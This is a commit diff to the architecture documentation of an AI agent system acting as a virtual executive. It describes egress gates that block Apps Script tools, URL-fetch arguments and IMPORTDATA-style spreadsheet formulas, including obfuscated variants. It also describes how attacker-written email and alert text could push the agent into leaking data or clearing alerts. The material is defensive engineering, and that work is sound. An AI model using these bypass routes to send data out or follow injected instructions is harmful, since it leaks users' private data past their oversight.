AI-powered virtual executive team — a single coherent executive persona backed by 8 specialist agents (FastAPI + Next.js).
fix(orchestrator): close the paths around the Google Workspace egress gates (#258)
Rufuseb230cc759d1
diff --git a/packages/core/openexecutive/architecture/architecture-facts.yaml b/packages/core/openexecutive/architecture/architecture-facts.yamlindex c0bfcfcf..b22cd5e9 100644--- a/packages/core/openexecutive/architecture/architecture-facts.yaml+++ b/packages/core/openexecutive/architecture/architecture-facts.yaml@@ -5872,7 +5872,77 @@ integrations:attendees must be on the People roster; this is a hard backstop — thetyped create_calendar_event tool enforces the same rule via person IDsbefore calling the gateway, but the gateway check ensures bypass-proof- safety even for raw call_tool invocations.+ safety even for raw call_tool invocations. rsvp_comment is refused+ (Google mails it to the organizer, who may be off the roster), and a+ call that names no attendees — an update that keeps the event's+ existing, possibly off-roster guests — is sent with+ send_updates="none" (_pin_calendar_notifications), so nobody is emailed+ text the gate never saw.+ - Refused outright (_refuse, audited as integration_outbound_blocked):+ every Apps Script tool (_BLOCKED_APPS_SCRIPT_TOOLS plus the+ _is_apps_script_tool name pattern, scoped to the google_workspace+ namespace) — code running as the Executive's account outside these+ gates, and since workspace-mcp 1.29.0 schedulable to keep running+ (manage_script_trigger); and any argument that makes the server fetch a+ URL (_URL_FETCH_ARGS: create_drive_file.fileUrl, which also takes+ file://; update_drive_file and import_to_google_* file_url;+ _URL_FETCH_KEYS on every tool and inside every Gmail attachment entry)+ — workspace-mcp's SSRF guard blocks internal hosts only, so a public+ URL's query string carries data out before any recipient gate matters+ (a send to the Executive's own address always passes that gate).+ Attachments still go by path, content or artifact_id; Drive files by+ content / base64_content. Keys Google itself fetches are refused at any+ depth when the value has a URL scheme (_URL_SCHEME_RE, any scheme, not+ just "://"): any key ending in url / uri or image_source+ (_GOOGLE_FETCH_KEY_RE — insert_doc_image.image_source, Slides+ createImage url / imageUrl and a page background's+ stretchedPictureFill.contentUrl, Forms image.sourceUri, Docs image_uri)+ except the stored-as-text ones (_STORED_URL_KEYS: link_url,+ conference_uri, youtube_uri); a Drive file id has no scheme and passes.+ A value is a URL once the characters a URL parser strips are removed+ (_INVISIBLE_RE: C0 controls, zero-width and bidi format characters,+ BOM) and "//host" counts (_is_url). On every tool that can write cells+ (_CELL_WRITER_RE: sheet, table, conditional, drive_file, import_to —+ the Drive create / update / import tools turn CSV into a native+ Sheet), any string anywhere in the arguments holding a formula call+ Google evaluates by fetching (_FORMULA_FETCH_RE: IMPORTDATA, IMPORTXML,+ IMPORTHTML, IMPORTFEED, IMAGE) is refused — the URL is in the cell+ value, so no key-based check could see it, and a `values` argument may+ arrive JSON-encoded or a CSV cell mid-line; =SUM(...) passes. Every+ gate walks a string that encodes JSON as the value the server decodes+ (_parsed_json, in _iter_arg_strings and _nested_fetch_key), so a+ \u0049MPORTDATA escape or a JSON-string `requests` list is read as+ IMPORTDATA / as the list; one over _JSON_STRING_MAX on a cell-writing+ tool is refused rather than skipped. Text is also scanned with+ character references decoded and comments / CDATA markers removed+ (_formula_fetches), since a converter decodes markup before it sees+ "IMPORTDATA(" or "IMPORT<!---->DATA(". An upload that becomes a+ native Sheet (_becomes_sheet: import_to_google_sheets, update_drive_file+ — its target type is unknown here — or create_drive_file with a+ spreadsheet / CSV mime type) may only be text `content`: base64_content+ and a server-side file_path are refused for it, because an XLSX / ODS+ hides formulas behind zip members, XML encodings and character+ references that no scan here reads reliably (an earlier version+ unzipped and scanned; a review beat it four ways). A PNG to Drive or a+ DOCX to Docs is not a cell write and is untouched. Residual,+ unverified: whether Drive's HTML / Markdown import fetches an <img src>+ while converting `content` into a Doc (refusing image tags there would+ break a legitimate import, so it is left open and noted).+ Also refused on every tool: text+ Google mails to a person the roster never checked (_MAILED_TEXT_KEYS:+ rsvp_comment to the organizer, manage_out_of_office /+ manage_focus_time decline_message to whoever invites the Executive),+ and arguments that are not a JSON object (every gate reads a dict; a+ list or string would have skipped them all).+ - Key spelling: every gate reads a parameter through _arg / _arg_values+ (normalized: lowercase, alphanumerics only), and a refusal fires on any+ variant. workspace-mcp 1.29.0's CamelCaseArgumentsMiddleware renames an+ undeclared camelCase key to the declared snake_case parameter, so+ `Attendees`, `userGoogleEmail` or `rsvpComment` reached the tool as the+ real thing while an exact-key gate saw nothing; the 1.29.0 bump opened+ this against the acting-account and attendee gates until the fix. The+ notification pin drops every spelling of send_updates before writing+ the canonical one, so a `sendUpdates: "all"` cannot survive beside it.- Drive sharing (_GATED_DRIVE_TOOLS = {google_workspace__manage_drive_access,google_workspace__set_drive_file_permissions}, plus a defensive_is_drive_share_tool() name-pattern fallback that never matches a pure@@ -5900,8 +5970,8 @@ integrations:tier much of Google Workspace reaches people with no recipient check —a Google Chat message to a space, Docs / Sheets / Drive writes intofiles already shared with others, manage_event on a shared calendar- (the calendar gate checks attendees only), a Drive file created from a- URL the server fetches, the comment-notification tools above — and no+ (the calendar gate checks attendees and pins notifications only), the+ comment-notification tools above — and noother server has any check (a Slack or Notion server; the default`fetch` server, whose URL can carry the turn's content; a server loadedat runtime). So on such a turn the chat loopdiff --git a/packages/core/openexecutive/architecture/prebuilt/integrations.json b/packages/core/openexecutive/architecture/prebuilt/integrations.jsonindex 1fb719ce..14e11548 100644--- a/packages/core/openexecutive/architecture/prebuilt/integrations.json+++ b/packages/core/openexecutive/architecture/prebuilt/integrations.json@@ -1,7 +1,7 @@{"section_id": "integrations","title": "Integrations",- "markdown": "External channels connect callers to the Executive. Each inbound adapter resolves the sender to a Person via `find_person_by_{slack,discord,telegram,email}_id` and threads `person_id` into `Executive.chat()`.\n\n### Inbound channels\n\n- **Slack** (`integrations.slack_bot`) — async Bolt socket-mode (`AsyncApp` + `AsyncSocketModeHandler`) embedded in the lifespan; responds to `@mention`s, DMs, and thread continuations, with per-conversation session memory (see **Conversation state** below). Text only: there is no interactivity endpoint and no Block Kit, so nothing Slack sends carries a button.\n- **Discord** (`integrations.discord_bot`) — discord.py gateway embedded in the lifespan; per-thread auto-titling, session-scoped memory, author attribution, configurable `@mention` thread promotion.\n- **Telegram** — webhook gating + per-chat history.\n- **Google Chat** — webhook + service-account auth. It resolves no approval gates and has no roster gate (the webhook authenticates Google, not the sender), and it never populates the session's trusted alert ids, so `ack_alert`'s trust check — which now runs on every session rather than only those declaring an `origin_channel` — refuses there by default, and its `<channel>` block says plainly that a sign-off cannot be answered from it.\n- **Email** (`integrations.email_poller`) — Gmail poll loop over the Google Workspace MCP (it starts only once the MCP gateway is up); strips Reply-To, filters auto-replies. While the Executive is paused (`scheduler.pause`) it skips each poll and leaves the inbox unread, so held mail is processed on the first poll after resume; the chat adapters above are not paused. The Executive sees the whole message; peer memory records only `_email_memory_text` — the subject, the sender's new text (cut at the first quoted or forwarded message) and the attachment filenames — parsed without backtracking-prone regexes, since the text is sender-controlled, and only for a rostered sender, the only kind with a peer to record into. Outbound, the principal briefs and the client-rotation digest are emailed through the same gateway (`google_workspace__send_gmail_message`, from the Executive's own mailbox to the principal's address, subject `<brief title> — <date>`, the date in the user's zone) as formatted HTML — rendered from the brief's Markdown with raw HTML and images off, so text quoted from outside shows as text and opening the email loads nothing remote. Email is first when the principal prefers it, and otherwise the backup after every chat channel, tried only when Slack, Discord and Telegram are missing or fail; an in-band error from the tool counts as a failed send and the next channel is tried. An emailed brief is not a DM, so the per-Person outbound guard below does not apply — the gateway's roster egress gate does.\n\n Two senders get their own framing. Mail from one of the principal's **contacts** (a `kind=\"contact\"` People row — see Org) replaces the non-roster `[POLICY]` notice with a contact one: it names them (name and role/company), says not to reply unless the principal asks and not to tell anyone else, and asks for a summary for the principal instead. Both this turn and the forwarded-by-principal turn below are marked `Session.private_to_principal`: they can email, DM or invite only the principal, an alert they raise is private to the principal, and they are not offered the tools that reach anyone else or start work outside the turn (`schedule_tools.PRIVATE_TURN_WITHHELD_TOOLS`: broadcasts, meeting bookings, workflows, follow-ups, watches, artifacts, goal updates, skill drafts, connecting a new MCP server), and of the MCP tools only Google Workspace reads and the gated Gmail send (see MCP below). Every audit row about such mail is private to the principal (see Audit Log), the poller's two `integration_inbound` rows included (`_private_to_principal_mail`), so the audit log's other readers see none of it. The poller holds `audit.private_rows` for the whole handling of such a mail, because some rows are written before the turn binds its private session: the knowledge retrieval quotes the mail's From line, subject and opening. The rows themselves read exactly like an outside sender's: the `integration_inbound` row is the non-roster one (`accepted_non_roster`), and the notice opens with the non-roster notice's exact sentence. The poller handles each message with no session bound, so one message's private turn never marks the next message's rows. The turn stays unattributed (`person_id` None — no peer memory, no co-presence), and the gateway refuses mail to a contact on a poller turn anyway. Mail **forwarded by the principal** — the sender resolves to the principal and `_new_text_lines` reports a forwarded message — is wrapped in a `<forwarded_by_principal>` block: summarise it, draft a reply the principal could send (as text in the reply, never sent or saved as a Gmail draft), note any commitment or date, and offer to add the original sender as a contact (confirmed from the web app or the principal's Slack / Discord, since an email turn cannot change the People list). The reply still goes to the principal only. The From header is unauthenticated, so this framing grants nothing: a spoofed \"forward\" just gets the real principal a summary.\n\nSlack, Discord, and Telegram are roster-gated on inbound: an unrostered sender's message is silently dropped (`details.outcome=\"rejected_unknown_sender\"`). The gates look up **team members only** — a contact's Slack, Discord or Telegram id is treated as unknown, so a contact can never talk to the bot (nor count as a co-present peer). Email is not inbound-gated — non-roster mail flows through with a `[POLICY]` notice so triage can classify it. Slack/Discord thread continuations pass the shared `integrations.response_gate` (utility-fast model, biased toward replying).\n\n### Checking a channel is set up\n\nSettings → Setup status (`GET /setup/status`, `api/setup_checks.py`) gives each channel a light and a plain-language fix. It tests the credentials with one free read-only call — Slack `auth.test`; Telegram `getMe`, then `getWebhookInfo` (is a webhook registered, is it this app's `/webhook/telegram`, did a delivery fail in the past day); Discord `users/@me`, only while the bot is still connecting — and reads what the lifespan left on `app.state`: the Slack socket's `is_connected()`, the Discord bot's `is_ready()` together with its gateway socket being open (discord.py stays ready while it reconnects after a drop), or the exception its task stopped with (`LoginFailure`, `PrivilegedIntentsRequired`), and the MCP gateway. Because inbound is roster-gated, a connected Slack, Discord or Telegram is amber while nobody on the roster has its id (`slack_user_id`, `discord_user_id`, `telegram_chat_id`), or when its latest `integration_inbound` row is a `Rejected: …` from the past day whose sender still isn't on the roster — the page shows the sender's id, never message text. Local login with no `TELEGRAM_WEBHOOK_SECRET` is red for Telegram, since the local-login gate turns its webhook away. Google Chat and Gmail are checked from configuration: a numeric project number and a readable service-account key; the OAuth client (or service-account key) the workspace-mcp child signs in with.\n\nA channel setting written `KEY= # note` in a `.env` file arrives as the note's text, because python-dotenv strips only a comment that follows a value. `Settings` reads such a value as unset for the Slack, Telegram, Discord and Google Chat credentials, so the line no longer switches a channel on with its own comment as the token. `TELEGRAM_WEBHOOK_SECRET` is the exception, because read as unset a junk secret would turn the webhook's check off. It is kept instead, and since Telegram can only ever send 1–256 of `A-Z a-z 0-9 _ -` (what `setWebhook` accepts), a secret outside that set — a leftover comment, a pasted `<value from Step 2>` — could only be matched by someone who guessed it: while it is set the webhook refuses every update, neither the local-login gate nor the roster tools count it as proof (`Settings.telegram_webhook_secret_valid`), and Setup status shows it red (`.env.example` shipped four such lines; the notes now sit on their own lines).\n\n### Conversation state\n\nEvery adapter keys a deterministic `session_id` off the conversation surface and replays that session's stored turns into `Session.conversation_history`, so a follow-up (\"yes, go ahead\") lands with the question still in context. Slack's ids are `slack:dm:{user}`, `slack:thread:{channel}:{thread_ts}`, and `slack:channel:{channel}:{user}` for a mention that starts a thread; because the bot's reply roots a Slack thread at that message's `ts`, the turn is double-written to that thread's session too, so the first continuation inside it is not cold. A reply inside a thread THAT PERSON ROOTED also offers the parent `slack:channel:{channel}:{user}` id when matching an approval gate, since a gate raised on the mention recorded that session while the answer arrives under the thread's. The root-author check is load-bearing: widening on \"threaded and not a DM\" alone offered one person's channel session inside any thread in that channel, so a remark they made to a colleague could resolve their open gate and post the run's title into that colleague's thread. Discord has the same shape — its auto-thread router promotes a mention reply into a bot-owned thread — and the same alias. An @-mention inside a DM is handled once, by the DM path: Slack fires both events, and taking both forked the conversation across two session ids. The same id is the audit grouping key and the scope passed to `format_for_prompt`. A per-session `asyncio.Lock` serializes turns within one conversation — the inflight semaphore caps fan-out across the workspace, which does nothing to stop two messages in the same thread from both reading history before either writes it. Persistence happens after the reply is sent and its failure is logged, never surfaced: the user already has their answer.\n\nThis was absent on Slack until #136. Every message built a fresh `Session` and minted a per-*message* id (`thread_ts` falls back to the message's own `ts`, so a DM never repeated one), which meant a multi-turn confirmation could not work: the Executive asked whether to send a briefing to Slack, the user said yes, and the next turn had no record of the question.\n\n### What the model is told about the channel\n\nChat adapters pass a `<channel>` block (`integrations.channel_context`) in the **user turn** — never a cached system block. It names the surface, states that the person cannot see the app's cards or buttons, and draws the line the assistant kept crossing: briefing proposals and alerts are actioned on the briefing page; a proposal that books something can only be approved there; a workflow sign-off the Executive is explicitly waiting on *can* be answered in the conversation. The principal's DMs on Slack, Discord and Telegram also receive the open-alert digest (`briefing.context.format_open_alerts_for_prompt`) as the `<briefing>` block, gated to DMs because the board is company-wide and a shared channel must not pull it in. That digest is the ONLY trusted source of an `alert_id` for `ack_alert`. The briefing page's `[Discuss mode — alert_id=N]` primer is a pointer to which item is under discussion, not authority on its own: the server accepts that id only if it is also on the live board it derived itself. An id appearing anywhere else, including inside an alert's own body, is not trusted: alerts are minted from inbound email and chat, so their bodies are attacker-controlled. Two mechanisms enforce that rather than one prompt rule. Every field the digest interpolates is collapsed to a single line, because a newline in an attacker-written headline, suggested action, tag or review note would otherwise forge a whole extra `[N]` line — a fabricated instruction to clear somebody else's alert. And the live board the server derived is recorded on the session, so `ack_alert` refuses any id outside it — on EVERY session, web included; the web previously had no check at all. The recorded set is the whole live board (the cap `/today` renders as cards), not just the rows the digest printed, so a card past the digest's 30-row render cap is still ackable rather than sending the principal back to the page. Be precise about what this buys: it stops an id that is invented, closed, snoozed or expired, including one quoted out of an attacker-written alert body. It does NOT stop the model being argued into acking the wrong LIVE card — one alert's body can still make a case about another id that is genuinely open. Scoping trust to the single item under discussion would need the primer id carried server-side, which it is not.\n\n### Handler failures\n\nAn adapter's catch-all replies \"I encountered an error processing your request.\" On Slack that used to be the whole story — one uncorrelated log line, no audit row, and an unguarded error-send that could itself escape into Bolt. It now logs with the session, sender, channel, thread and mode, and writes an `integration_inbound` row with `details.outcome=\"handler_error\"`, joining the inbound row under the same `session_id`. Upstream, a single crashing tool handler no longer takes the turn down at all: the orchestrator's tool gathers use `return_exceptions=True`, hand the model an error `tool_result`, and audit it with `ok=false` (cancellation is re-raised, not swallowed).\n\n### Attachments\n\n`integrations.attachments` handles web chat, Discord, Telegram, Slack and Google Chat. Images become Anthropic vision blocks; documents (PDF/DOCX/TXT/MD/CSV) are inlined into the turn that carried them — under an `[Attached: <name>]` label, which the open-loop pass reads as \"not the speaker's words\" — and indexed into the ChromaDB `inbound_attachments` collection. 20 MB/file cap; web chat uses `POST /chat/upload`.\n\n**Scanned PDFs** are read, not reported empty. A PDF with no text layer goes through `knowledge.pdf_reader`: with `PDF_PROVIDER_READING=true` (opt-in, off by default) the deployment's own model reads it through its provider's PDF support (Anthropic natively, OpenRouter's `file-parser`, a local server only with `LOCAL_PDF_INPUT`); otherwise, and as the fallback, local OCR (pypdfium2 + RapidOCR, offline, no key) — so every deployment converts them. The label then reads `(converted from scanned pages)`, and an unreadable one says why. The index takes the text already extracted for the turn, so a scan is converted once. A file a channel delivered (everything here except `POST /chat/upload`, where the signed-in user sends it) converts at most `PDF_INBOUND_MAX_PAGES` (30) pages and draws on a rolling `PDF_INBOUND_PAGES_PER_HOUR` (300) budget shared by all senders, so sending scans cannot run up unbounded model spend or CPU.\n\nPer channel:\n- **Slack** — a `file_share` message (previously dropped outright for its `subtype`) is handled like any message; files download only after the roster gate and the response gate, with the bot token sent only to `https://files.slack.com/` (needs the `files:read` scope). History and peer memory record the words plus `(Attached files: …)`, never a document's text.\n- **Google Chat** — uploaded attachments download through `media.download` with the reply credentials (`chat.bot`), checked against the 20 MB cap per chunk, 5 per message; an attachment-only message is no longer dropped. The webhook authenticates Google, not the sender, so files are read only when the event's `user.email` is on the People roster (a team member); anyone else's files are named to the Executive, never downloaded. A Drive file shared into a message is left to the Drive tools, with its id.\n- **Email** — the poller (`integrations.email_attachments`) downloads up to 5 readable attachments of the message itself via `get_gmail_attachment_content` — workspace-mcp in stdio mode saves the file and answers `Saved to: <path>`, which must start its line, be the last such line and end in the answer's `Saved filename:` (the answer echoes the sender-chosen attachment name first, and a name carrying `Saved to: /…` must not redirect the read), then resolve inside the tool download folders — and appends their text to the turn (15k chars each). Only for a sender the principal knows (team, contact, principal); a stranger's files stay a list. It runs outside the model loop, so it works on private turns without adding the attachment tool to `PRIVATE_TURN_MCP_TOOLS`.\n- Anything else (a Drive PDF, a skipped attachment) — the Executive's `read_document` tool.\n\nIndexed chunks are keyed on `attachment:<bare filename>` and tagged `type=attachment`. An attachment's name is chosen by whoever sent the message and the name is the chunk-id namespace, so without the prefix an inbound `strategy-2026.md` would upsert over the curated company document of that name. The prefix separates inbound content from curated uploads and keeps provenance visible; it does not separate senders from one another.\n\nIsolation is the **collection**: `retriever.retrieve` never queries `inbound_attachments` at all, so an attachment cannot resurface as company knowledge in a later, unrelated turn. Attachment processing is roster-gated on Discord too — it previously ran before the gate, so an unrostered sender's file was downloaded and indexed before their message was dropped. These rows still have no operator surface: they are never written to `company/docs/`, so `GET /documents` does not list them.\n\nThis replaced a domain-based scheme that did not work. The chunks lived in `company_docs` under a domain outside the specialist set, on the premise that an unrecognised domain matched no filter. It matched every one — `ChromaDBStore.query` attaches a `where` clause only when a domain filter is present, and an Executive-level retrieval passes none — so attachments came back under “From your company documents”, top-ranked and indistinguishable from a curated upload. Legacy rows are migrated across on boot.\n\n### MCP gateway & outbound\n\nMCP runs in **both directions**. As a *client*, `orchestrator.mcp_gateway.MCPGateway` proxies MCP servers (Gmail, Calendar, Drive — whatever `mcp_servers.json` configures) as Executive tools, with egress gating on Gmail recipients, Calendar attendees, and Drive share grantees against the roster (and a refusal of public / whole-domain Drive sharing). The Gmail gate also accepts only a fixed set of argument keys, so workspace-mcp's `reply_all` (recipients taken from the thread, never checked) and `forward_message_id` / `include_forwarded_attachments` (forwarding any inbox message) are refused; a reply is `thread_id` plus an explicit, roster-checked `to`. The allow-list (`_egress_sets`) is every team member's email plus the Executive's own address, always; a **contact's** email joins it only when `people_tools.contacts_reachable_now()` is true — a turn the principal started on a verified surface (web chat, their own Slack or Discord, a verified private Telegram chat), or inside `grant_contact_egress()` (the decisions approve route, when the approver is the principal). On any other turn — an inbound email, a teammate, the scheduler, a workflow, the alert review — a contact's address is refused exactly like a stranger's, so the refusal cannot reveal that it belongs to a contact (contacts are private to the principal). A turn about the principal's private mail (`Session.private_to_principal`) narrows the list to the principal's own address and the Executive's. Such a turn may call only the MCP tools in `schedule_tools.PRIVATE_TURN_MCP_TOOLS`: Google Workspace reads (`search_gmail_messages`, `get_gmail_message_content`, `get_events`, `list_calendars`, `query_freebusy`, `search_drive_files`) and the two Gmail tools this gate narrows to the principal (`send_gmail_message`, `draft_gmail_message`). It is an exact allow-list, not a server: workspace-mcp runs at the `complete` tier, where a Google Chat message to a space, a Docs, Sheets or Drive write into a file already shared with others, `manage_event` on a shared calendar (its gate checks attendees only) or a Drive file created from a URL the server fetches reaches people with no recipient check; and every other server has none at all (a Slack or Notion server, the default `fetch` server, whose URL can carry the turn's content, a server loaded at runtime). Its `search_tools` results show only the allowed tools (`workflows.tool_catalog.filter_search_results`; output it cannot parse reads as no match), and a `call_tool` naming anything else is refused with an error tool_result and an audit row private to the principal (`schedule_tools.private_turn_withholds`), a missing name included. `search_tools` and `call_tool` stay offered, so the tool list and its cached prefix do not change. The typed calendar tool (`_resolve_attendees`) and the chat DM tools (`message_person`, `send_telegram_message`, `send_discord_dm` and their person-id recovery) apply the same rule — a contact's id reads as an unknown one off the principal's turn — and a private turn may DM or invite only the principal (`PRIVATE_TURN_REFUSAL` otherwise); `message_person` never falls back to a \"Needs you\" alert for a contact, who cannot sign in to see it. The Google Workspace server (`workspace-mcp`) behind those Gmail/Calendar/Drive tools runs **co-located inside the API** as a stdio child of the gateway — fitting the single-tenant model (one install = one company = one exec Google account), so there's no separate service to operate. It's baked into the API image and launched by `docker/workspace-mcp-launch.sh`, which selects single-user OAuth (token persisted at `/data/google_credentials`) or service-account domain-wide delegation from `GWORKSPACE_AUTH_MODE`. The gateway forwards the Google secrets to the child via `_FORWARDED_ENV_VARS`. Every `google_workspace__*` call acts as the Executive's own account. workspace-mcp takes the acting account per call (`user_google_email`) and nothing used to check it, so under domain-wide delegation a model-chosen address could open anyone's mailbox in the domain; `mcp_gateway._check_acting_account` now refuses a value naming any other address — before every other gate, with an `integration_outbound_blocked` audit row. An absent value stays allowed (the server's own account). As a *server*, `openexecutive.mcp_server` exposes OE's own company context and specialist council to external MCP clients at `/mcp` — the inverse direction; see the dedicated **MCP Server** section. The gateway launches extensible-mcp as a `uvx` subprocess whose fastembed tool-search index uses an embedding model baked into the API image and loaded offline, so it no longer re-downloads that model from the Hugging Face Hub on every cold start. extensible-mcp is pinned twice over: to a commit, which fixes its own code, and with `--exclude-newer`, which fixes the resolution of its dependencies — without the cutoff uvx re-resolves them against PyPI on every networked start, so a new release of any of them would reach running deployments on restart. Both live in `_EXTENSIBLE_MCP_LAUNCH_ARGS` in `orchestrator/mcp_gateway.py`, the Dockerfile's pre-warm uses the same arguments (a unit test enforces the match), so an image whose pre-warm succeeded starts the gateway with no network. The pre-warm is best-effort (`|| true`): an image built while GitHub was unreachable fetches the pinned commit on its first start instead. Updating the gateway is a deliberate bump of the commit and cutoff; `uv` itself is not pinned. Because the MCP stdio client does not inherit the parent environment, `MCPGateway.start()` explicitly forwards the embedding-cache/offline env vars (`FASTEMBED_CACHE_PATH`, `HF_HUB_OFFLINE`, …) into the child.\n\n**Emailing an artifact.** A Gmail send or draft may carry `attachments=[{\"artifact_id\": \"alert:12\", \"as\"?: \"docx\"}]`. `call_tool` runs the recipient gate first; only if it passes does `_expand_artifact_attachments` replace each such entry with the rendered file (`content` base64 + `filename` + `mime_type`, workspace-mcp's own attachment shape), produced by `artifact_records.render_artifact_file` — the same renderer as `/artifacts/{id}/download`. Only artifact rows resolve (never an arbitrary alert), links have no file, and an entry mixing `artifact_id` with other keys is refused. A stringified or single-object `attachments` is normalised first, so an artifact entry can never reach workspace-mcp unexpanded (it would silently drop it). At most 5 distinct artifacts per email (repeats are dropped) and 15 MB rendered in total; rendering runs off the event loop via `asyncio.to_thread`. A refusal writes `artifact_attachment_refused`; a successful send writes `artifact_attached` — both carry the recipients. Other attachment entries pass through unchanged.\n\n**Enablement, and why it degrades instead of dying.** `MCP_ENABLED` left unset is inferred from the presence of `mcp_servers_config_path` — dropping an `mcp_servers.json` next to `profile.yaml` turns MCP on with no further configuration. An **explicit** setting always wins in both directions: `MCP_ENABLED=false` keeps MCP off with the file still in place. It did not: `_resolve_mcp` tested `not self.mcp_enabled`, which cannot tell \"never set\" from \"set to false\", so the file's presence silently overrode the operator. The file is probed through `config.mcp_config_file_present`, never `Path.exists` directly — that re-raises an EACCES on a parent directory, and from inside a validator that comes out of `Settings()` itself, which `api/main.py` calls at module level. The check now reads `model_fields_set` (the fields the env actually supplied) and stores that on a private attr behind the read-only `mcp_auto_enabled` property, because the validator's own assignment joins that set and would otherwise make every auto-enable look explicit downstream.\n\nStartup is **best-effort**, in `main._start_mcp_gateway`. Two checks come before the subprocess: MCP off is a no-op, and a config defining no servers under `mcpServers` is logged and skipped — extensible-mcp's own loader raises on that and exits, and because the child is already gone the only thing that surfaces is anyio's \"Attempted to exit cancel scope in a different task\" from `stdio_client` unwinding, a traceback naming nothing about configuration. The start is also bounded (120s, generous because that child may still clone extensible-mcp on a cold start if the image's pre-warm failed): `ClientSession` carries no `read_timeout_seconds`, so `initialize()` waits forever on a child that is *alive but silent*, and an unbounded wait is a lifespan that never yields — the same healthcheck-never-passes symptom, which no `except` can see. A gateway that fails anyway is logged at ERROR with the config path, the servers it named, and whether the config file or an explicit `MCP_ENABLED` turned MCP on, then torn down under its own timeout; the API boots **without MCP tools and without the email poller** rather than refusing to boot. The guard catches `BaseException`, not `Exception`, re-raising a bare `CancelledError` first: the original failure came from anyio, which wraps a task group's failures in `BaseExceptionGroup` as soon as one is a `BaseException` — and that group is not an `Exception`, so `except Exception` would miss the very shape this contains. The teardown is contained too, since it runs from inside that `except` and would otherwise replace the actionable log with the crash it prevents. `configured_server_names` never raises either, and deliberately catches broadly: it reads an operator-owned path during startup, where an exception is the crash loop rather than a bug report — `Path.is_file` re-raises an EACCES on a parent directory, and `json.loads` answers deeply-nested input with `RecursionError`, which is not a `ValueError`. It tests `is_file()` so a directory or a symlink to a FIFO is never opened, and caps the read at 1 MiB. That exception used to propagate out of the lifespan and kill the container — under `restart: unless-stopped`, a crash loop whose only outward symptom was a healthcheck that never passed. Outbound tools: per-Person DMs (`send_slack_dm`, `send_discord_dm`, `send_telegram_message`) plus room-targeted `send_department_message` and `send_company_broadcast`. The per-Person DMs are additionally rate-limited and de-duplicated by the outbound anti-spam guard (below).\n\n### Outbound anti-spam guard\n\nEvery per-Person DM passes a deterministic guard (`orchestrator.outbound_guard.check_outbound_allowed`) after the roster gate and recipient-id recovery but before the network send — the single chokepoint **all** proactive DM paths reach (ad-hoc chat sends, the scheduler's followup/nudge dispatch, principal-brief delivery, the reflection turn, and research-finding routing). On a violation it returns a human-readable reason and the handler **suppresses** the send (`{\"status\":\"suppressed\",\"reason\":…}`), writes a `tool_invocation` audit row with `suppressed=true`, and writes **no** `done` activity row — so a blocked attempt never counts toward its own rate cap, and the Executive can read the reason and hold or `schedule_followup` for the recipient's next window. Three controls: **content dedup** (a near-identical message — whitespace/case-normalized, first 160 chars — already sent to the same recipient within `OUTBOUND_DEDUP_WINDOW_MINUTES`, default 360); a **per-recipient rate cap** (`OUTBOUND_MAX_PER_RECIPIENT_PER_WINDOW`, default 5, over `OUTBOUND_RATE_WINDOW_MINUTES`, default 60); and **quiet hours / availability** (`OUTBOUND_RESPECT_QUIET_HOURS`, default on — refuse while the recipient is on leave or outside their `people.channel` availability windows, surfacing the next open window). Delivery history is read from the existing `status='done'` `scheduled_actions` rows (`episodic.recent_sends_for_channel_ref`), so there is no new table. The guard is **fail-open**: any internal lookup error returns \"allow\", so it can never turn a working send into a crash or a silently-dropped message. Principal briefs and the internal heartbeat kinds use the `__internal__` channel and never reach these handlers, so they are unaffected.\n\n### Calendar & Google Meet\n\nThe Executive books meetings through two typed tools over the Calendar MCP. `create_calendar_event` schedules a **future** meeting (propose→approve by default, or auto-execute once that decision class is promoted) and may be used proactively when a stalled goal warrants a sync. `create_instant_meeting` spins up an **impromptu call starting now**, auto-executing without the approval step and skipping the business-hours/horizon caps, so the Executive can hand back a join link immediately. Both attach a **Google Meet** link by default (`add_google_meet`; opt out for in-person), parsed from the created event's `conferenceData` and surfaced to the caller plus persisted on the decision ledger. Either way the caps that matter still hold — roster membership, principal-protection, max attendees, and a daily booking ceiling.\n\n**Around-the-meeting participation.** The Executive doesn't join the call as a live voice; instead, on every successful booking it schedules a best-effort post-meeting follow-up (~5 min after the end) that DMs a human attendee asking for a quick recap — key decisions and action items. The reply flows back through the same cross-session DM context linkage described below, so the Executive can act on it (summarize, follow up) in a later turn. No meeting-transcript or Drive integration is required.\n\n### Cross-session DM context\n\nWhen the principal says \"DM Alex about X\" in one session, OE sends the DM and — if a live conversation is active and the recipient is not one of the principal's contacts (a contact cannot DM the bot, and quoting the principal's conversation into their email reply's unattended turn would put it in the audit log) — records an `outbound_context` linkage row (recipient, full outbound text, originating session id). Email is covered too but recorded one layer deeper — there is no `send_email` tool, so the linkage is written in `orchestrator.mcp_gateway` after a successful `google_workspace__send_gmail_message`, one row per `to`/`cc` recipient keyed by the bare lowercased address (OE's own address skipped). When Alex later replies on the 1:1 DM path — or by email — the shared helper `integrations.inbound_hydration.hydrate_user_message` (called by the Discord, Telegram, and Slack handlers, and by the email poller keyed on the sender address) looks up the most-recent `open` linkage for that sender within 72h and prepends an `<outbound_reply_context>` block — the outbound text plus a backstory excerpt from the originating session — to the message handed to `Executive.chat()`. So OE knows what the reply is about instead of starting from an empty per-person session. The block is context for the LLM turn only: peer memory strips it before recording what the person said (`strip_outbound_reply_context`, applied in `sync_turn`, `sync_department_turn` and to the prefetch query), so the Executive's own DM is never attributed to the person who replied to it. The block lands in the user turn (caching rule) and is injected into a copy only — the pristine reply is persisted to history. The linkage is one-shot (consumed on first matched reply, race-safe) so an unrelated later DM isn't re-hydrated. This is deterministic and independent of the per-person `peer_memory` (Honcho) layer.\n\nEvery adapter that persists a turn (Slack, Discord, Telegram, and the web route) records the message's **resolved sender** on `chat_messages.sender_person_id` — the rostered Person the adapter matched, or NULL for an unrostered sender — independently of the session owner, which falls back to the principal on Discord and Telegram so those threads stay visible. Attunement's open loops and feedback rely on this so an outsider's words are never read as someone on the roster's.\n\n### Your own Gmail (Act as me)\n\nA second, separate Gmail connection, for **Act as me** (see **Act as Me (Delegation)**): the principal's *own* mailbox, which `delegation.gmail.DelegateGmail` reads and drafts into over the Gmail REST API. It is never registered with the MCP gateway, so the model can reach it only through the typed `ghostwrite_email` handler — never by tool name through `call_tool`. The credential is one file per person in `DELEGATION_GOOGLE_CREDENTIALS_DIR` (default `company/delegation_google/`, `/data/delegation_google` in Docker), minted on a computer with a browser by `scripts/connect-own-gmail.py --email <you>` with the Executive's own OAuth client and the scopes `gmail.readonly` and `gmail.compose` — the same seed-it-yourself flow as the Executive's token, since the API serves no OAuth callback. It never lives in `WORKSPACE_MCP_CREDENTIALS_DIR`, where workspace-mcp picks a credential by 